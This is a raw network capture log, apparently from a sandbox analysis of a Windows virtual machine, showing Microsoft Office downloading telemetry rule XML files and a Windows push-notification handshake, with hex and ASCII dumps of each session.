2024-11-17 11:35:15 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:15 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113515Z-16547b76f7fpdsp9hC1DFW8f5000000001r000000000d30t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:15 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113515Z-1866b5c5fbbxjblthC1DFW6b4800000002700000000049py x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:15 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:15 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0c33812d-401e-005b-6489-389c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113515Z-164f84587bf6h2bxhC1DFWbcm800000004bg00000000akf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49723	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:16 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 61 33 6e 5a 2b 65 2b 67 55 30 75 68 4d 78 79 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 37 30 30 31 32 65 66 39 37 39 31 32 62 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: a3nZ+e+gU0uhMxy1.1Context: dd70012ef97912ba
2024-11-17 11:35:16 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 11:35:16 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 61 33 6e 5a 2b 65 2b 67 55 30 75 68 4d 78 79 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 37 30 30 31 32 65 66 39 37 39 31 32 62 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 57 79 7a 2b 6c 71 76 39 42 75 33 44 30 2f 5a 39 39 31 68 39 79 32 73 62 52 72 6c 36 77 39 72 7a 6f 65 54 58 6d 51 68 61 36 32 51 37 30 62 6f 39 34 2b 51 36 59 6b 76 6a 4c 6a 4a 36 2f 41 7a 2b 2f 47 59 2f 6e 6a 66 44 35 6e 48 65 7a 77 41 62 48 35 53 71 71 46 4f 37 6e 51 50 6f 70 6a 32 51 32 6b 70 73 79 45 64 72 6d 4e 44 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: a3nZ+e+gU0uhMxy1.2Context: dd70012ef97912ba<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARWyz+lqv9Bu3D0/Z991h9y2sbRrl6w9rzoeTXmQha62Q70bo94+Q6YkvjLjJ6/Az+/GY/njfD5nHezwAbH5SqqFO7nQPopj2Q2kpsyEdrmNDZ
2024-11-17 11:35:16 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 61 33 6e 5a 2b 65 2b 67 55 30 75 68 4d 78 79 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 37 30 30 31 32 65 66 39 37 39 31 32 62 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: a3nZ+e+gU0uhMxy1.3Context: dd70012ef97912ba<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 11:35:16 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 11:35:16 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 50 4c 52 2f 6f 67 30 36 56 45 75 42 4b 4e 6d 4c 6d 6c 59 77 79 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: PLR/og06VEuBKNmLmlYwyA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:16 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113516Z-16547b76f7ff9zf4hC1DFW2pfc00000001sg00000000auhr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:16 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3ddb0506-b01e-0098-22fa-36cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113516Z-164f84587bfs5tz9hC1DFW9a3w000000047g00000000ag9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:16 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:16 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: adb9bc2d-c01e-007a-4c7f-38b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113516Z-1866b5c5fbbdcxfghC1DFW126c0000000110000000003ak0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:16 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: a27d7b4e-f01e-0003-126b-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113516Z-164f84587bflm48hhC1DFW0nf800000000x000000000c6wg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:16 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:16 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113516Z-1866b5c5fbblmztchC1DFWs6v400000002t0000000006esh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:17 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:17 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113517Z-16547b76f7fffb7lhC1DFWdsxg00000004fg0000000022z7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:17 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:17 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113517Z-1866b5c5fbb7lvschC1DFW4rm0000000045g000000009ygm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
